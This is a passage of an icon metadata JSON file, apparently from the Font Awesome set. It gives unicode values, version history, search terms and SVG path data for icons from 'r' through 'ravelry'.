        "path": "M448 296c0 66.3-53.7 120-120 120h-8c-17.7 0-32-14.3-32-32s14.3-32 32-32h8c30.9 0 56-25.1 56-56v-8H320c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64h64c35.3 0 64 28.7 64 64v32 32 72zm-256 0c0 66.3-53.7 120-120 120H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h8c30.9 0 56-25.1 56-56v-8H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64h64c35.3 0 64 28.7 64 64v32 32 72z"
      }
    },
    "free": ["solid"]
  },
  "r": {
    "aliases": {
      "unicodes": {
        "composite": ["72"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter R", "Latin Small Letter R", "letter"]
    },
    "styles": ["solid"],
    "unicode": "52",
    "label": "R",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V288 448c0 17.7 14.3 32 32 32s32-14.3 32-32V320h95.3L261.8 466.4c10.1 14.5 30.1 18 44.6 7.9s18-30.1 7.9-44.6L230.1 309.5C282.8 288.1 320 236.4 320 176c0-79.5-64.5-144-144-144H64zM176 256H64V96H176c44.2 0 80 35.8 80 80s-35.8 80-80 80z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V288 448c0 17.7 14.3 32 32 32s32-14.3 32-32V320h95.3L261.8 466.4c10.1 14.5 30.1 18 44.6 7.9s18-30.1 7.9-44.6L230.1 309.5C282.8 288.1 320 236.4 320 176c0-79.5-64.5-144-144-144H64zM176 256H64V96H176c44.2 0 80 35.8 80 80s-35.8 80-80 80z"
      }
    },
    "free": ["solid"]
  },
  "r-project": {
    "changes": ["5.0.11", "5.0.12"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f7",
    "label": "R Project",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 581 512\"><path d=\"M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z\"/></svg>",
        "viewBox": [0, 0, 581, 512],
        "width": 581,
        "height": 512,
        "path": "M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z"
      }
    },
    "free": ["brands"]
  },
  "radiation": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7b9"]
      }
    },
    "changes": [
      "5.6.0",
      "5.8.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "danger",
        "dangerous",
        "deadly",
        "hazard",
        "nuclear",
        "radioactive",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7b9",
    "label": "Radiation",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M216 186.7c-23.9 13.8-40 39.7-40 69.3L32 256C14.3 256-.2 241.6 2 224.1C10.7 154 47.8 92.7 101.3 52c14.1-10.7 33.8-5.3 42.7 10l72 124.7zM256 336c14.6 0 28.2-3.9 40-10.7l72 124.8c8.8 15.3 3.7 35.1-12.6 41.9c-30.6 12.9-64.2 20-99.4 20s-68.9-7.1-99.4-20c-16.3-6.9-21.4-26.6-12.6-41.9l72-124.8c11.8 6.8 25.4 10.7 40 10.7zm224-80l-144 0c0-29.6-16.1-55.5-40-69.3L368 62c8.8-15.3 28.6-20.7 42.7-10c53.6 40.7 90.6 102 99.4 172.1c2.2 17.5-12.4 31.9-30 31.9zM256 208a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M216 186.7c-23.9 13.8-40 39.7-40 69.3L32 256C14.3 256-.2 241.6 2 224.1C10.7 154 47.8 92.7 101.3 52c14.1-10.7 33.8-5.3 42.7 10l72 124.7zM256 336c14.6 0 28.2-3.9 40-10.7l72 124.8c8.8 15.3 3.7 35.1-12.6 41.9c-30.6 12.9-64.2 20-99.4 20s-68.9-7.1-99.4-20c-16.3-6.9-21.4-26.6-12.6-41.9l72-124.8c11.8 6.8 25.4 10.7 40 10.7zm224-80l-144 0c0-29.6-16.1-55.5-40-69.3L368 62c8.8-15.3 28.6-20.7 42.7-10c53.6 40.7 90.6 102 99.4 172.1c2.2 17.5-12.4 31.9-30 31.9zM256 208a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "radio": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4fb"],
        "secondary": ["10f8d7"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "am",
        "broadcast",
        "fm",
        "frequency",
        "music",
        "news",
        "radio",
        "receiver",
        "transmitter",
        "tuner",
        "video"
      ]
    },
    "styles": ["solid"],
    "unicode": "f8d7",
    "label": "Radio",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M494.8 47c12.7-3.7 20-17.1 16.3-29.8S494-2.8 481.2 1L51.7 126.9c-9.4 2.7-17.9 7.3-25.1 13.2C10.5 151.7 0 170.6 0 192v4V304 448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H218.5L494.8 47zM368 240a80 80 0 1 1 0 160 80 80 0 1 1 0-160zM80 256c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16zM64 320c0-8.8 7.2-16 16-16H208c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm16 64c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M494.8 47c12.7-3.7 20-17.1 16.3-29.8S494-2.8 481.2 1L51.7 126.9c-9.4 2.7-17.9 7.3-25.1 13.2C10.5 151.7 0 170.6 0 192v4V304 448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H218.5L494.8 47zM368 240a80 80 0 1 1 0 160 80 80 0 1 1 0-160zM80 256c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16zM64 320c0-8.8 7.2-16 16-16H208c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm16 64c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16z"
      }
    },
    "free": ["solid"]
  },
  "rainbow": {
    "aliases": {
      "unicodes": {
        "composite": ["1f308"],
        "secondary": ["10f75b"]
      }
    },
    "changes": ["5.5.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["gold", "leprechaun", "prism", "rain", "rainbow", "sky"]
    },
    "styles": ["solid"],
    "unicode": "f75b",
    "label": "Rainbow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96C178.6 96 64 210.6 64 352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352C0 175.3 143.3 32 320 32s320 143.3 320 320v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352C576 210.6 461.4 96 320 96zm0 192c-35.3 0-64 28.7-64 64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-70.7 57.3-128 128-128s128 57.3 128 128v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-35.3-28.7-64-64-64zM160 352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-123.7 100.3-224 224-224s224 100.3 224 224v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-88.4-71.6-160-160-160s-160 71.6-160 160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96C178.6 96 64 210.6 64 352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352C0 175.3 143.3 32 320 32s320 143.3 320 320v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352C576 210.6 461.4 96 320 96zm0 192c-35.3 0-64 28.7-64 64v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-70.7 57.3-128 128-128s128 57.3 128 128v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-35.3-28.7-64-64-64zM160 352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-123.7 100.3-224 224-224s224 100.3 224 224v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352c0-88.4-71.6-160-160-160s-160 71.6-160 160z"
      }
    },
    "free": ["solid"]
  },
  "ranking-star": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chart", "first place", "podium", "rank", "win"]
    },
    "styles": ["solid"],
    "unicode": "e561",
    "label": "Ranking Star",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M353.8 54.1L330.2 6.3c-3.9-8.3-16.1-8.6-20.4 0L286.2 54.1l-52.3 7.5c-9.3 1.4-13.3 12.9-6.4 19.8l38 37-9 52.1c-1.4 9.3 8.2 16.5 16.8 12.2l46.9-24.8 46.6 24.4c8.6 4.3 18.3-2.9 16.8-12.2l-9-52.1 38-36.6c6.8-6.8 2.9-18.3-6.4-19.8l-52.3-7.5zM256 256c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H384c17.7 0 32-14.3 32-32V288c0-17.7-14.3-32-32-32H256zM32 320c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H160c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32H32zm416 96v64c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V416c0-17.7-14.3-32-32-32H480c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M353.8 54.1L330.2 6.3c-3.9-8.3-16.1-8.6-20.4 0L286.2 54.1l-52.3 7.5c-9.3 1.4-13.3 12.9-6.4 19.8l38 37-9 52.1c-1.4 9.3 8.2 16.5 16.8 12.2l46.9-24.8 46.6 24.4c8.6 4.3 18.3-2.9 16.8-12.2l-9-52.1 38-36.6c6.8-6.8 2.9-18.3-6.4-19.8l-52.3-7.5zM256 256c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H384c17.7 0 32-14.3 32-32V288c0-17.7-14.3-32-32-32H256zM32 320c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H160c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32H32zm416 96v64c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32V416c0-17.7-14.3-32-32-32H480c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "raspberry-pi": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f7bb",
    "label": "Raspberry Pi",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 407 512\"><path d=\"M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z\"/></svg>",
        "viewBox": [0, 0, 407, 512],
        "width": 407,
        "height": 512,
        "path": "M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z"
      }
    },
    "free": ["brands"]
  },
  "ravelry": {
    "changes": ["4.7.0", "5.0.0", "5.15.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2d9",
    "label": "Ravelry",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
